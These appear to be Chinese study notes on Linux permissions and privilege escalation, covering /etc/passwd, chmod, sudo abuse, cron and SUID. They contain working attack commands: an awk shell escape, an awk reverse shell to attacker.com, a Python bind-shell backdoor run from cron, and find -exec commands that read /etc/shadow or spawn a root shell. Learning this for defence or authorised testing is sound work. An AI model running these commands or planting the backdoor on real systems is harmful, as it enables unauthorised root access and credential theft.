密码权限
ls -la /etc/passwd
r表示可读
w表示可写
x表示执行
-rw表示文件所有者权限为可读可写不可执行
对应第一个root表示文件所有者为root
-r--表示只读
对应第二个root表示文件所属的组
r--代表着other,其他用户(除了该文件所有者和该文件所属组)的权限为只读
chmod命令
更改文件权限
r-read-4
w-write-2
x-execute-1
以上第一张图片的权限用数字(权限码)表示为644(可读可写为4+2,只读为4)
chmod 751 权限为 rwx rx x
7 = 4 + 2 + 1 rwx 该文件的所有者 可读可写可执行
5 = 4+1 改文件所属组用户可读可执行
1其他用户可执行该文件
root表示用户
x表示真正的密码,不显示,保存在/etc/shadow中
0表示用户标识符(uid)每个用户独一无二,为0一般代表root
0表示所属用户组(gid)可能存在多个不同的用户属于同一个组,代表root所在的组
root用户的别名
/root用户的主目录
/usr/bin/zsh默认shell
nologin无法登录
bin/bsah|sh|zsh代表能够登录
sudo滥用
原理:部分命令 特定的权限 验证当前用户密码即可执行root权限
sudo -l
查看哪些命令可以以root执行
gredit /etc/sudoers
awk -F: '{print $1}' /etc/passwd
查看passwd文件第一列,用户
awk 'BEGIN {system("/bin/sh")}'
利用以上命令可提权至root
其他利用方法此网站可查询
利用监听
RHOST=attacker.com
RPORT=12345
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
s = "/inet/tcp/0/" RHOST "/" RPORT;
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
靶机输入以下命令
攻击机可收到shell,提权成功
计划任务(crontab)
查看计划任务列表
crontab -l
部署计划任务
在 20 点30分去 执行 命令 (执行
30 20 * * *
在每周一的 14点0分去执行
0 14 * * 1
在每月1 号和15号的凌晨 2点0分执行命令
在每周一到周五的凌晨 3点30分执行
在每天的凌晨3点 ,每隔10分钟去执行一次0 2 1,15 **
30 3 ** 1-5
*/10 3 ***
定时任务配合脚本执行命令
import socket
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 12345))
s.listen(5)
while True:
conn, addr = s.accept()
for i in range(10):
cmd = conn.recv(1024)
print(cmd)
command = cmd.decode(encoding='utf-8')
if command.startswith("cd"):
os.chdir(command[2:].strip())
result = os.getcwd()
else:
result = os.popen(command).read()
if result:
conn.send(result.encode('utf-8'))
else:
conn.send(b'ok')
定时任务运行该脚本
检查端口是否被占用
表示已经在运行
监听成功
suid
是 赋予文件的一种权限 文件所有者 root 以文件所有者权限去运行
成功提权
提示权限不足
随意创建一个文件,利用它来提升权限
find top.tiquan -exec cat /etc/shadow \;
成功利用其他文件获取root权限
sudo find . -exec /bin/sh \;
此命令为之前讲的sudo提权,也可利用